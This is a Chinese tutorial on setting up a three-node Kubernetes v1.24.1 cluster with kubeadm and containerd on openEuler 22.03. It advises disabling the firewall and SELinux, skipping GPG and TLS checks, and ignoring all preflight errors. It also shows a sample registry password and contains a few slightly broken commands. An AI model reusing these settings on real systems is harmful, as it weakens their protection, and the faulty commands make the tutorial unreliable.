Kubeadm 快速搭建 k8s v1.24.1 集群(openEuler 22.03 LTS)
kubeadm 简介kubeadm 是 Kubernetes(以下简称 k8s)官方提供的用于快速安装部署 k8s 集群的工具,伴随 k8s 每个版本的发布都会同步更新,kubeadm 会对集群配置方面的一些实践做调整,通过实验 kubeadm 可以学习到 k8s 官方在集群配置上一些新的最佳实践。这个工具能通过两条指令完成一个 k8s 集群的部署:# 创建一个 Master 节点
$ kubeadm init
# 将一个 Node 节点加入到当前集群中
$ kubeadm join <Master节点的IP和端口 >使用 kubeadm 工具大大简化了 k8s 的部署操作。k8s 的部署方式通常使用 kubeadm 部署和二进制方式部署,他们之间的区别:kubeadm 方式部署,组件容器化部署,只有 kubelet 没有被容器化二进制方式部署,传统的守护进程(systemd)管理服务 systemctl实现目标基于 华为 openEuler 22.03 LTS 系统,使用 kubeadm v1.24.1 搭建一套由单 Master node 和两个 Worker node 组成的 k8s v1.24.1 版本的集群环境。系统环境准备部署要求在开始部署之前,部署 k8s 集群的宿主机(vm 或 物理机)需要满足以下几个条件:宿主机 3 台,操作系统 CentOS7.x/8.x-86_x64 系列(此处使用 openEuler 22.03 LTS)硬件配置:RAM 4GB或更多,CPU 核数 2c 或更多,硬盘 60GB 或更多集群中所有机器之间网络互通可以访问外网,需要拉取镜像关闭防火墙,禁止 swap 分区所有集群节点同步系统时间(使用 ntpdate 工具)注意:以上部署规格的配置要求为最小化集群规模要求,生产环境的集群部署要求按实际情况扩展配置,为了保障集群环境的高可用性,搭建集群环境的宿主机通常以奇数( ≥ 3、5、7...)节点最佳。部署规划此处以单 master node 和两 worker node 集群模式为例,使用 kubeadm 部署 Kubernetes v1.24.1 版本集群环境。1. 单 master 集群模式2. vm 资源编排此处使用 VMware Workstation Pro v16.2.2 虚拟机搭建 vm 环境,规划如下:k8s 集群角色ip 地址hostname 主机名称资源规格操作系统安装组件master192.168.18.130k8s-master-012c4g/60gopenEuler 22.03 LTSkube-apiserver、kube-controller-manager、kube-scheduler、etcd、containerd、kubelet、kube-proxy、keepalived、nginx、calico、metrics-server、dashboardworker node192.168.18.131k8s-node-012c4g/60gopenEuler 22.03 LTScontainerd、kubelet、kube-proxy、ingress-controller、calico,corednsworker node192.168.18.132k8s-node-022c4g/60gopenEuler 22.03 LTScontainerd、kubelet、kube-proxy、ingress-controller、calico,coredns关于 VMware Workstation Pro v16.2.2 虚拟机自行下载,并安装配置好,vm 系统使用华为 openEuler 22.03 LTS ISO 镜像。注意:VMware 中网络配置选择【NAT模式】,确保 vm 内部网络环境可以访问到外部网络环境。3. k8s 组件版本关于 k8s 的常用资源组件版本信息规划如下:名称版本下载地址kubernetesv1.24.1https://github.com/kubernetes/kubernetes/releases/tag/v1.24.1kubelet、kubeadm、kubectlv1.24.1yum install -y kubelet-1.24.1 kubeadm-1.24.1 kubectl-1.24.1containerdv1.6.4,cni v0.3.1https://github.com/containerd/containerd/releases/tag/v1.6.4flannelv0.18.0https://github.com/flannel-io/flannel/releases/tag/v0.18.0calicov3.23.1https://github.com/projectcalico/calico/releases/tag/v3.23.1kube-state-metricsv2.4.2https://github.com/kubernetes/kube-state-metrics/releases/tag/v2.4.2metrics-server-helm-chartv3.8.2https://github.com/kubernetes-sigs/metrics-server/releases/tag/metrics-server-helm-chart-3.8.2Kong Ingress Controller for Kubernetes (KIC)v2.3.1https://github.com/Kong/kubernetes-ingress-controller/releases/tag/v2.3.1dashboardv2.5.1https://github.com/kubernetes/dashboard/releases/tag/v2.5.14. 关于 openEuler基于华为 openEuler 系统环境部署,推荐使用 openEuler 22.03 LTS 和 openEuler 20.03 LTS SP3,以 root 身份执行下面命令。为了方便操作,vm 中的 openEuler 系统网络 ip 可以按照上面的编排规划,设置静态 ip 地址。关于 openEuler 系统的安装,请自行参考官方文档,此处不是重点,接下来介绍 openEuler 系统安装后,我们需要设置的相关事项。openEuler 资源地址:ISO下载,https://www.openeuler.org/zh/download/安装指南,https://docs.openeuler.org/zh/docs/22.03_LTS/docs/Installation/installation.html5. shell 终端以下是一些比较常用的 shell 终端,选择自己喜欢的一个安装配置即可。Xshell 5/6/7Windows PowerShell / PowerShellWindows TerminalPuTTYVisual Studio CodeVM 系统部署操作事项(所有节点)注意:下面命令在 k8s 所有节点(master + worker)执行。1. 关闭防火墙 Firewalld防火墙 firewalld 先 stop 再 disable,操作如下:systemctl stop firewalld #停止 $
systemctl disable firewalld #开机禁用 $查看防火墙状态systemctl status firewalld #查看状态输出如下信息,说明已经关闭[root@k8s-master-01 ~]# systemctl status firewalld
● firewalld.service - firewalld - dynamic firewall daemon
Loaded: loaded (/usr/lib/systemd/system/firewalld.service; disabled; vendor preset: enabled)
Active: inactive (dead)
Docs: man:firewalld(1)[Linux防火墙操作命令,开放或关闭端口] =》 https://zhuanlan.zhihu.com/p/1611967112. 关闭 SELinux安全增强型 Linux(SELinux)是一个 Linux 内核的功能,它提供支持访问控制的安全政策保护机制。# 临时关闭 SELinux。
setenforce 0
# 永久关闭 SELinux。
vi /etc/selinux/config
SELINUX=disabled验证 selinux 状态getenforce输出如下信息,说明已经关闭[root@k8s-node-01 ~]# getenforce
DisabledSELinux 状态说明:SELinux 状态为 disabled,表明 SELinux 已关闭;SELinux 状态为 enforcing 或者 permissive,表明 SELinux 在运行;3. 关闭 Swapswap 的用途 ?swap 分区就是交换分区,(windows 平台叫虚拟内存) 在物理内存不够用时,操作系统会从物理内存中把部分暂时不被使用的数据转移到交换分区,从而为当前运行的程序留出足够的物理内存空间。为什么要关闭 swap ?swap 启用后,在使用磁盘空间和内存交换数据时,性能表现会较差,会减慢程序执行的速度。有的软件的设计师不想使用交换分区,例如:kubelet 在 v1.8 版本以后强制要求 swap 必须关闭,否则会报错:Running with swap on is not supported, please disable swap! or set --fail-swap-on flag to false或者 kubeadm init 时会报错:[ERROR Swap]: running with swap on is not supported. Please disable swap关闭 swapswapoff -a # 临时关闭
vi /etc/fstab # 永久关闭,注释掉 swap 这行查看 swap 是否关闭[root@k8s-master-01 ~]# free -m
total used free shared buff/cache available
Mem: 1454 881 147 73 425 179
Swap: 0 0 0显示 total/used/free 为 0,说明已经关闭。4. 设置宿主机名称依据宿主机(vm 或物理机)资源编排情况,使用 systemd 里面的 hostnamectl 设置主机名。# 临时
hostnamectl set-hostname k8s-master-01
hostnamectl set-hostname k8s-node-01
hostnamectl set-hostname k8s-node-02
# 永久,编写对应的 hostname
vi /etc/hostname设置完成后,重新进入下 shell 终端,使配置生效。bash5. 在 Master node 和 Worker node 添加 hosts修改 hosts 文件,配置主机名称和 ip 之间的映射。$ cat > /etc/hosts << EOF
192.168.18.130 k8s-master-01
192.168.18.131 k8s-node-01
192.168.18.132 k8s-node-02
EOF进入 bash 访问测试 node 节点网络是否连通bash
...
ping k8s-master-01
ping k8s-node-01
ping k8s-node-026. 创建 containerd.conf 配置文件在路径 "/etc/modules-load.d/containerd.conf" 创建配置文件。cat << EOF > /etc/modules-load.d/containerd.conf
overlay
br_netfilter
EOF执行以下命令使配置生效modprobe overlay
modprobe br_netfilter7. 将桥接的 IPv4 流量传递到 IPTABLES 链IPTABLES 规则实现 Docker 或 K8s 的网络通信,非常关键。查看 "/etc/sysctl.d/99-xxx.conf" 配置文件。[root@k8s-master-01 /]# ls /etc/sysctl.d/
99-kubernetes-cri.conf 99-sysctl.conf
[root@k8s-master-01 /]# cat /etc/sysctl.d/99-sysctl.conf
# sysctl settings are defined through files in
# /usr/lib/sysctl.d/, /run/sysctl.d/, and /etc/sysctl.d/.
#
# Vendors settings live in /usr/lib/sysctl.d/.
# To override a whole file, create a new file with the same in
# /etc/sysctl.d/ and put new settings there. To override
# only specific settings, add a file with a lexically later
# name in /etc/sysctl.d/ and put new settings there.
#
# For more information, see sysctl.conf(5) and sysctl.d(5).
kernel.sysrq=0
net.bridge.bridge-nf-call-ip6tables = 1
net.bridge.bridge-nf-call-iptables = 1
user.max_user_namespaces=28633
net.ipv4.ip_forward=1
net.ipv4.conf.all.send_redirects=0
net.ipv4.conf.default.send_redirects=0
net.ipv4.conf.all.accept_source_route=0
net.ipv4.conf.default.accept_source_route=0
net.ipv4.conf.all.accept_redirects=0
net.ipv4.conf.default.accept_redirects=0
net.ipv4.conf.all.secure_redirects=0
net.ipv4.conf.default.secure_redirects=0
net.ipv4.icmp_echo_ignore_broadcasts=1
net.ipv4.icmp_ignore_bogus_error_responses=1
net.ipv4.conf.all.rp_filter=1
net.ipv4.conf.default.rp_filter=1
net.ipv4.tcp_syncookies=1
kernel.dmesg_restrict=1
net.ipv6.conf.all.accept_redirects=0
net.ipv6.conf.default.accept_redirects=0修改内核参数(上面的 99-sysctl.conf 配置文件已经修)# 1、加载br_netfilter模块
modprobe br_netfilter
# 2、验证模块是否加载成功
lsmod | grep br_netfilter
# 3、修改内核参数
cat > /etc/sysctl.d/99-sysctl.conf <<EOF
net.bridge.bridge-nf-call-ip6tables = 1
net.bridge.bridge-nf-call-iptables = 1
user.max_user_namespaces=28633
net.ipv4.ip_forward = 1
EOF
# 4、使刚才修改的内核参数生效,此处使用的是 99-sysctl.conf 配置文件。
sysctl -p /etc/sysctl.d/99-sysctl.confsysctl 命令用于运行时配置内核参数,这些参数位于 "/proc/sys" 目录下。sysctl 配置与显示在 "/proc/sys" 目录中的内核参数。可以用 sysctl 来设置或重新设置联网功能,如 IP 转发、IP 碎片去除以及源路由检查等。用户只需要编辑 "/etc/sysctl.conf" 文件,即可手工或自动执行由 sysctl 控制的功能。8. 配置服务器支持开启 IPVS 的前提条件(K8s 推荐配置)IPVS 称之为 IP 虚拟服务器(IP Virtual Server,简写为 IPVS)。是运行在 LVS 下的提供负载均衡功能的一种技术。IPVS 基本上是一种高效的 Layer-4 交换机,它提供负载平衡的功能。由于 IPVS 已经加入到了 Linux 内核的主干,所以为 kube-proxy(Kubernetes Service) 开启 IPVS 的前提需要加载以下的 Linux 内核模块:ip_vs
ip_vs_rr
ip_vs_wrr
ip_vs_sh
nf_conntrack_ipv4 # 或 nf_conntrack在所有服务器集群节点上执行以下脚本cat > /etc/sysconfig/modules/ipvs.modules <<EOF
#!/bin/bash
modprobe -- ip_vs
modprobe -- ip_vs_rr
modprobe -- ip_vs_wrr
modprobe -- ip_vs_sh
modprobe -- nf_conntrack_ipv4 # 若提示在内核中找不到 nf_conntrack_ipv4, 可以让是切换 nf_conntrack
EOF
# 或者 grep -e ip_vs -e nf_conntrack
chmod 755 /etc/sysconfig/modules/ipvs.modules && bash /etc/sysconfig/modules/ipvs.modules && lsmod | grep -e ip_vs -e nf_conntrack_ipv4上面脚本创建了的 "/etc/sysconfig/modules/ipvs.modules" 文件,保证在节点重启后能自动加载所需模块。 可执行命令 【lsmod | grep -e ip_vs -e nf_conntrack_ipv4】查看所需内核模块是否正确加载。接下来还需要确保各个节点上已经安装了 ipset 软件包,为了便于查看 ipvs 的代理规则,最好安装一下管理工具 ipvsadm。yum install -y ipset ipvsadm如果不满足以上前提条件,则即使 kube-proxy 的配置开启了 ipvs 模式,也会退回到 iptables 模式。9. 同步系统时间ntpdate 指令通过轮询指定为服务器参数的 网络时间协议(NTP) 服务器来设置本地日期和时间,从而确定正确的时间。此命令的适用范围:RedHat、RHEL、Ubuntu、CentOS、Fedora。# 安装 ntpdate
yum install ntpdate -y
# 执行同步命令
ntpdate time.windows.com
# 跟网络源做同步
ntpdate cn.pool.ntp.org
# 把时间同步做成计划任务
crontab -e
* */1 * * * /usr/sbin/ntpdate cn.pool.ntp.org
# 重启crond服务
service crond restart
# 查看当前时区
date -R同步系统时间输出如下信息[root@k8s-master-01 /]# ntpdate time.windows.com
29 May 16:19:17 ntpdate[7873]: adjust time server 20.189.79.72 offset +0.001081 secIPVS 和 IPTABLES 对比分析IPVS 是什么?IPVS (IP Virtual Server) 实现了传输层负载均衡,也就是我们常说的 4 层局域网交换机(LAN Switches),作为 Linux 内核的一部分。IPVS 运行在主机上,在真实服务器集群前充当负载均衡器。IPVS 可以将基于 TCP 和 UDP 的服务请求转发到真实服务器上,并使真实服务器的服务在单个 IP 地址上显示为虚拟服务。IPVS 和 IPTABLES 对比分析kube-proxy 支持 iptables 和 ipvs 两种模式, 在 kubernetes v1.8 中引入了 ipvs 模式,在 v1.9 中处于 beta 阶段,在 v1.11 中已经正式可用了。iptables 模式在 v1.1 中就添加支持了,从 v1.2 版本开始 iptables 就是 kube-proxy 默认的操作模式,ipvs 和 iptables 都是基于 netfilter 的,但是 ipvs 采用的是 hash 表,因此当 service 数量达到一定规模时,hash 查表的速度优势就会显现出来,从而提高 service 的服务性能。那么 ipvs 模式和 iptables 模式之间有哪些差异呢?ipvs 为大型集群提供了更好的可扩展性和性能ipvs 支持比 iptables 更复杂的复制均衡算法(最小负载、最少连接、加权等等)ipvs 支持服务器健康检查和连接重试等功能在 k8s 的集群环境中,推荐配置 ipvs ,为一定数量规模的 service 提高服务性能。安装 containerd/kubeadm/kubelet(所有节点)Containerd 简介Containerd 是一个工业级标准的容器运行时,它强调简单性、健壮性和可移植性,具备如下功能:管理容器的生命周期(从创建容器到销毁容器)拉取/推送容器镜像存储管理(管理镜像及容器数据的存储)调用 runc 运行容器(与 runc 等容器运行时交互)管理容器网络接口及网络自 Kubernetes v1.24 起,Dockershim 已被删除,由于社区的关注,Docker 和 Mirantis 共同决定继续以 [cri-dockerd] 的形式支持 dockershim 代码(https://www.mirantis.com/blog/the-future-of-dockershim-is -cri-dockerd/), 允许你在需要时继续使用 Docker Engine 作为容器运行时。对于想要尝试其他运行时(如 containerd 或 cri-o) 的用户,已编写迁移文档(https://kubernetes.io/zh/docs/tasks/administer-cluster/migrating-from-dockershim/change-runtime-containerd/)。查看删除 Dockershim 的原因Dockershim:历史背景 =》 https://kubernetes.io/zh/blog/2022/05/03/dockershim-historical-context/如果试图将链从最终用户(user)绘制到实际的容器进程(runc),它可能如下所示:runc 是一个命令行客户端,用于运行根据 OCI(开放容器计划,Open Container Initiative/OCI) 格式打包的应用程序,并且是 OCI 规范的兼容实现。(推荐)使用 Containerd 的理由Kubernetes 在 v1.23 版本及以后版本不再默认采用 Docker/Dockershim ,而建议采用 Containerd;Containerd 比 Docker/Dockershim 更加轻量级,在生产环境中使用更佳合适(稳定,性能);Containerd 安装下面我们进行 containerd 容器运行时的安装,操作如下:1. 安装 wget (可选)由于 openEuler 系统本身集成了 curl ,安装 wget 不是必须项。# 安装 wget
sudo yum install wget -y
# 此处安装的 wget 版本信息
...
Installed:
wget-1.20.3-2.oe1.x86_642. 下载 containerd分别使用 wget 和 curl 下载 containerd v1.6.4 版本。# 使用 wget 下载 containerd v1.6.4
sudo wget https://github.com/containerd/containerd/releases/download/v1.6.4/cri-containerd-cni-1.6.4-linux-amd64.tar.gz
# 使用 curl 下载 containerd v1.6.4
curl -L https://github.com/containerd/containerd/releases/download/v1.6.4/cri-containerd-cni-1.6.4-linux-amd64.tar.gz -O cri-containerd-cni-1.6.4-linux-amd64.tar.gz3. 安装 tartar 命令简介Linux tar(英文全拼:tape archive )命令用于备份文件。tar 是用来建立,还原备份文件的工具程序,它可以加入,解开备份文件内的文件。# 安装 tar
sudo yum install -y tar
# 查看压缩包包含哪些文件
sudo tar -tf cri-containerd-cni-1.6.4-linux-amd64.tar.gz
# 将压缩包解压至 cri-containerd-cni 文件夹(这里用命令创建 cri-containerd-cni文件夹,因为没有实现创建该文件夹),防止将文件都解压缩到当前文件夹(可以看到有etc、opt、usr三个子文件夹)。
sudo tar xzf cri-containerd-cni-1.6.4-linux-amd64.tar.gz -C cri-containerd-cni | mkdir cri-containerd-cnicri-containerd-cni-1.6.4-linux-amd64.tar.gz 文件中包含三个文件夹,分别是【etc、opt、usr】,如下图所示:4. 安装 containerd# 解压 containerd 到根目录
tar zxvf cri-containerd-cni-1.6.0-linux-amd64.tar.gz -C /
# 生成 containerd 默认配置
mkdir -p /etc/containerd
containerd config default > /etc/containerd/config.toml注意:确认 containerd 可执行文件所在目录在 PATH 环境变量中。5. 配置 containerd 软件源参考配置文件 "/etc/containerd/config.toml" 如下:disabled_plugins = []
imports = []
oom_score = 0
plugin_dir = ""
required_plugins = []
root = "/var/lib/containerd"
state = "/run/containerd"
version = 2
[cgroup]
path = ""
[debug]
address = ""
format = ""
gid = 0
level = ""
uid = 0
[grpc]
address = "/run/containerd/containerd.sock"
gid = 0
max_recv_message_size = 16777216
max_send_message_size = 16777216
tcp_address = ""
tcp_tls_cert = ""
tcp_tls_key = ""
uid = 0
[metrics]
address = ""
grpc_histogram = false
[plugins]
[plugins."io.containerd.gc.v1.scheduler"]
deletion_threshold = 0
mutation_threshold = 100
pause_threshold = 0.02
schedule_delay = "0s"
startup_delay = "100ms"
[plugins."io.containerd.grpc.v1.cri"]
disable_apparmor = false
disable_cgroup = false
disable_hugetlb_controller = true
disable_proc_mount = false
disable_tcp_service = true
enable_selinux = false
enable_tls_streaming = false
ignore_image_defined_volumes = false
max_concurrent_downloads = 3
max_container_log_line_size = 16384
netns_mounts_under_state_dir = false
restrict_oom_score_adj = false
#sandbox_image = "k8s.gcr.io/pause:3.6"
# 1. 修改基础镜像地址(此处以阿里云为例)
#sandbox_image = "registry.cn-hangzhou.aliyuncs.com/google_containers/pause:3.6"
sandbox_image = "registry.aliyuncs.com/google_containers/pause:3.7"
selinux_category_range = 1024
stats_collect_period = 10
stream_idle_timeout = "4h0m0s"
stream_server_address = "127.0.0.1"
stream_server_port = "0"
systemd_cgroup = false
tolerate_missing_hugetlb_controller = true
unset_seccomp_profile = ""
[plugins."io.containerd.grpc.v1.cri".cni]
bin_dir = "/opt/cni/bin"
conf_dir = "/etc/cni/net.d"
conf_template = ""
max_conf_num = 1
[plugins."io.containerd.grpc.v1.cri".containerd]
default_runtime_name = "runc"
disable_snapshot_annotations = true
discard_unpacked_layers = false
no_pivot = false
snapshotter = "overlayfs"
[plugins."io.containerd.grpc.v1.cri".containerd.default_runtime]
base_runtime_spec = ""
container_annotations = []
pod_annotations = []
privileged_without_host_devices = false
runtime_engine = ""
runtime_root = ""
runtime_type = ""
[plugins."io.containerd.grpc.v1.cri".containerd.default_runtime.options]
[plugins."io.containerd.grpc.v1.cri".containerd.runtimes]
[plugins."io.containerd.grpc.v1.cri".containerd.runtimes.runc]
base_runtime_spec = ""
container_annotations = []
pod_annotations = []
privileged_without_host_devices = false
runtime_engine = ""
runtime_root = ""
runtime_type = "io.containerd.runc.v2"
[plugins."io.containerd.grpc.v1.cri".containerd.runtimes.runc.options]
BinaryName = ""
CriuImagePath = ""
CriuPath = ""
CriuWorkPath = ""
IoGid = 0
IoUid = 0
NoNewKeyring = false
NoPivotRoot = false
Root = ""
ShimCgroup = ""
SystemdCgroup = false
[plugins."io.containerd.grpc.v1.cri".containerd.untrusted_workload_runtime]
base_runtime_spec = ""
container_annotations = []
pod_annotations = []
privileged_without_host_devices = false
runtime_engine = ""
runtime_root = ""
runtime_type = ""
[plugins."io.containerd.grpc.v1.cri".containerd.untrusted_workload_runtime.options]
[plugins."io.containerd.grpc.v1.cri".image_decryption]
key_model = "node"
[plugins."io.containerd.grpc.v1.cri".registry]
config_path = ""
[plugins."io.containerd.grpc.v1.cri".registry.auths]
[plugins."io.containerd.grpc.v1.cri".registry.configs]
[plugins."io.containerd.grpc.v1.cri".registry.headers]
[plugins."io.containerd.grpc.v1.cri".registry.mirrors]
# 2. 设置仓库地址(镜像源)
[plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"]
endpoint = ["https://usydjf4t.mirror.aliyuncs.com","https://mirror.ccs.tencentyun.com","https://registry.docker-cn.com","http://hub-mirror.c.163.com"]
[plugins."io.containerd.grpc.v1.cri".registry.mirrors."k8s.gcr.io"]
endpoint = ["https://registry.cn-hangzhou.aliyuncs.com/google_containers"]
# [plugins."io.containerd.grpc.v1.cri".registry.mirrors."192.168.0.187:5000"]
# endpoint = ["http://192.168.0.187:5000"]
# [plugins."io.containerd.grpc.v1.cri".registry.configs]
# [plugins."io.containerd.grpc.v1.cri".registry.configs."192.168.0.187:5000".tls]
# insecure_skip_verify = true
# [plugins."io.containerd.grpc.v1.cri".registry.configs."harbor.creditgogogo.com".auth]
# username = "admin"
# password = "Harbor12345"
[plugins."io.containerd.grpc.v1.cri".x509_key_pair_streaming]
tls_cert_file = ""
tls_key_file = ""
[plugins."io.containerd.internal.v1.opt"]
path = "/opt/containerd"
[plugins."io.containerd.internal.v1.restart"]
interval = "10s"
[plugins."io.containerd.metadata.v1.bolt"]
content_sharing_policy = "shared"
[plugins."io.containerd.monitor.v1.cgroups"]
no_prometheus = false
[plugins."io.containerd.runtime.v1.linux"]
no_shim = false
runtime = "runc"
runtime_root = ""
shim = "containerd-shim"
shim_debug = false
[plugins."io.containerd.runtime.v2.task"]
platforms = ["linux/amd64"]
[plugins."io.containerd.service.v1.diff-service"]
default = ["walking"]
[plugins."io.containerd.snapshotter.v1.aufs"]
root_path = ""
[plugins."io.containerd.snapshotter.v1.btrfs"]
root_path = ""
[plugins."io.containerd.snapshotter.v1.devmapper"]
async_remove = false
base_image_size = ""
pool_name = ""
root_path = ""
[plugins."io.containerd.snapshotter.v1.native"]
root_path = ""
[plugins."io.containerd.snapshotter.v1.overlayfs"]
root_path = ""
[plugins."io.containerd.snapshotter.v1.zfs"]
root_path = ""
[proxy_plugins]
[stream_processors]
[stream_processors."io.containerd.ocicrypt.decoder.v1.tar"]
accepts = ["application/vnd.oci.image.layer.v1.tar+encrypted"]
args = ["--decryption-keys-path", "/etc/containerd/ocicrypt/keys"]
env = ["OCICRYPT_KEYPROVIDER_CONFIG=/etc/containerd/ocicrypt/ocicrypt_keyprovider.conf"]
path = "ctd-decoder"
returns = "application/vnd.oci.image.layer.v1.tar"
[stream_processors."io.containerd.ocicrypt.decoder.v1.tar.gzip"]
accepts = ["application/vnd.oci.image.layer.v1.tar+gzip+encrypted"]
args = ["--decryption-keys-path", "/etc/containerd/ocicrypt/keys"]
env = ["OCICRYPT_KEYPROVIDER_CONFIG=/etc/containerd/ocicrypt/ocicrypt_keyprovider.conf"]
path = "ctd-decoder"
returns = "application/vnd.oci.image.layer.v1.tar+gzip"
[timeouts]
"io.containerd.timeout.shim.cleanup" = "5s"
"io.containerd.timeout.shim.load" = "5s"
"io.containerd.timeout.shim.shutdown" = "3s"
"io.containerd.timeout.task.state" = "2s"
[ttrpc]
address = ""
gid = 0
uid = 0被修改的 "/etc/containerd/config.toml" 文件配置说明:1、基础镜像设置sandbox_image 设置国内基础镜像源地址。2、镜像仓库设置"docker.io" 配置 docker 公共镜像仓库源。"k8s.gcr.io" 配置 k8s 仓库源。其中 “192.168.0.187:5000” 是私人仓库地址(没有可以配置)。insecure_skip_verify = true 意为跳过 tls 证书认证。"harbor.creditgogogo.com".auth 设置仓库用户名和密码。6. 启动 containerd 并设置为开机启动由于上面下载的 containerd 压缩包中包含一个 "etc/systemd/system/containerd.service" 的文件,这样我们就可以通过 systemd 来配置 containerd 作为守护进程运行。[root@k8s-master-01 /]# ls etc/systemd/system/
bluetooth.target.wants cron.service dbus-org.bluez.service default.target multi-user.target.wants sockets.target.wants timedatex.service
containerd.service ctrl-alt-del.target dbus-org.freedesktop.nm-dispatcher.service getty.target.wants network-online.target.wants sysinit.target.wants timers.target.wants启动 containerd:# 启动 containerd,并设置为开机启动
systemctl daemon-reload && systemctl enable containerd && systemctl start containerd
# 查看 containerd 状态
systemctl status containerd
# 重启 containerd
systemctl restart containerd此处启动 containerd 可能会显示如下信息:System has not been booted with systemd as init system (PID 1). Can't operate.
Failed to connect to bus: Host is down因为 wsl 子系统不能使用 systemd(基于 systemctl 或 service 命令的服务无法运行)。了解更多信息,请查看【WSL2 中使用 systemctl 命令】。WSL2 中使用 systemctl 命令 =》https://www.isolves.com/it/qt/2020-12-10/34360.html查看 "etc/systemd/system/containerd.service" 文件cat etc/systemd/system/containerd.service输出配置信息如下:# Copyright The containerd Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
[Unit]
Description=containerd container runtime
Documentation=https://containerd.io
After=network.target local-fs.target
[Service]
ExecStartPre=-/sbin/modprobe overlay
ExecStart=/usr/local/bin/containerd
Type=notify
Delegate=yes
KillMode=process
Restart=always
RestartSec=5
# Having non-zero Limit*s causes performance problems due to accounting overhead
# in the kernel. We recommend using cgroups to do container-local accounting.
LimitNPROC=infinity
LimitCORE=infinity
LimitNOFILE=infinity
# Comment TasksMax if your systemd version does not supports it.
# Only systemd 226 and above support this version.
TasksMax=infinity
OOMScoreAdjust=-999
[Install]
WantedBy=multi-user.target这里有两个重要的参数:Delegate:这个选项允许 containerd 以及运行时自己管理自己创建容器的 cgroups。如果不设置这个选项,systemd 就会将进程移到自己的 cgroups 中,从而导致 containerd 无法正确获取容器的资源使用情况。KillMode:这个选项用来处理 containerd 进程被杀死的方式。默认情况下,systemd 会在进程的 cgroup 中查找并杀死 containerd 的所有子进程。KillMode 字段可以设置的值如下:control-group:当前控制组里面的所有子进程,都会被杀掉process:只杀主进程mixed:主进程将收到 SIGTERM 信号,子进程收到 SIGKILL 信号none:没有进程会被杀掉,只是执行服务的 stop 命令注意:需要将 KillMode 的值设置为 process,这样可以确保升级或重启 containerd 时不杀死现有的容器。7. 查看 containerd 信息crictl info
# 更多使用
crictl --helpK8s 配置阿里云 repo 文件(yum 软件源)默认配置是国外的镜像源,由于国内网络原因无法访问,所以配置阿里云的 yum 软件源。cat <<EOF > /etc/yum.repos.d/kubernetes.repo
[kubernetes]
name=Kubernetes
baseurl=https://mirrors.aliyun.com/kubernetes/yum/repos/kubernetes-el7-x86_64/
enabled=1
gpgcheck=1
repo_gpgcheck=1
gpgkey=https://mirrors.aliyun.com/kubernetes/yum/doc/yum-key.gpg https://mirrors.aliyun.com/kubernetes/yum/doc/rpm-package-key.gpg
EOF阿里云 Kubernetes 镜像:【容器】 https://developer.aliyun.com/mirror/?spm=a2c6h.13651102.0.0.3e221b11RAcHlc&serviceType=mirror&tag=%E5%AE%B9%E5%99%A8【Kubernetes 镜像源】 https://developer.aliyun.com/mirror/kubernetes安装 kubeadm、kubelet 和 kubectl(所有节点)由于版本更新频繁,因此这里指定版本号部署。yum install -y kubelet-1.24.1 kubeadm-1.24.1 kubectl-1.24.1启动 kubelet 并设置开机启动systemctl enable kubelet && systemctl start kubeletps: 由于官网未开放同步方式,可能会有索引 gpg 检查失败的情况,这时请用【yum install -y --nogpgcheck kubelet kubeadm kubectl 】安装。部署 K8s Master 节点1. K8s 集群初始化(kubeadm init)依据上面的 vm 资源规划,在 master 节点(192.168.18.130)执行如下命令:kubeadm init \
--apiserver-advertise-address=192.168.18.130 \
--image-repository registry.aliyuncs.com/google_containers \
--kubernetes-version v1.24.1 \
--service-cidr=10.96.0.0/12 \
--pod-network-cidr=10.244.0.0/16 \
--ignore-preflight-errors=all参数说明:--apiserver-advertise-address 集群通告地址--image-repository 由于默认拉取镜像地址 k8s.gcr.io 国内无法访问,这里指定阿里云镜像仓库地址--kubernetes-version K8s 版本,与上面安装的一致--service-cidr 集群内部虚拟网络,Pod 统一访问入口--pod-network-cidr Pod网络,与下面部署的 CNI 网络组件 yaml 中保持一致--ignore-preflight-errors 忽略所有预检项的警告信息或者使用配置文件引导:$ vi kubeadm.conf
apiVersion: kubeadm.k8s.io/v1beta2
kind: ClusterConfiguration
kubernetesVersion: v1.24.1
imageRepository: registry.aliyuncs.com/google_containers
networking:
podSubnet: 10.244.0.0/16
serviceSubnet: 10.96.0.0/12
$ kubeadm init --config kubeadm.conf --ignore-preflight-errors=all kubeadm init 初始化成功,输出如下信息:Your Kubernetes control-plane has initialized successfully!
To start using your cluster, you need to run the following as a regular user:
mkdir -p $HOME/.kube
sudo cp -i /etc/kubernetes/admin.conf $HOME/.kube/config
sudo chown $(id -u):$(id -g) $HOME/.kube/config
Alternatively, if you are the root user, you can run:
export KUBECONFIG=/etc/kubernetes/admin.conf
You should now deploy a pod network to the cluster.
Run "kubectl apply -f [podnetwork].yaml" with one of the options listed at:
https://kubernetes.io/docs/concepts/cluster-administration/addons/
Then you can join any number of worker nodes by running the following on each as root:
kubeadm join 192.168.18.130:6443 --token pc5d3x.9ccv3m5y1llljk90 \
--discovery-token-ca-cert-hash sha256:3f7b37c18a5ec21c3e225025e13a0ac53e7abdf717859808b24f9bc909b32b5b此处注意保存下 kubeadm init 初始化产生的信息,方便下面环节的部署操作使用。2. 拷贝文件到默认路径拷贝 kubectl 使用的连接 k8s 认证文件到默认路径mkdir -p $HOME/.kube
sudo cp -i /etc/kubernetes/admin.conf $HOME/.kube/config
sudo chown $(id -u):$(id -g) $HOME/.kube/config3. 查看 k8s 集群节点信息[root@k8s-master-01 ~]# kubectl get node
NAME STATUS ROLES AGE VERSION
k8s-master-01 Ready control-plane 4h8m v1.24.1
k8s-node-01 Ready <none> 3h14m v1.24.1
k8s-node-02 Ready <none> 3h14m v1.24.14. 查看 containerd 拉取的镜像[root@k8s-master-01 /]# crictl image ls
IMAGE TAG IMAGE ID SIZE
docker.io/calico/cni v3.23.1 90d97aa939bbf 111MB
docker.io/calico/node v3.23.1 fbfd04bbb7f47 76.6MB
registry.aliyuncs.com/google_containers/coredns v1.8.6 a4ca41631cc7a 13.6MB
registry.aliyuncs.com/google_containers/etcd 3.5.3-0 aebe758cef4cd 102MB
registry.aliyuncs.com/google_containers/kube-apiserver v1.24.1 e9f4b425f9192 33.8MB
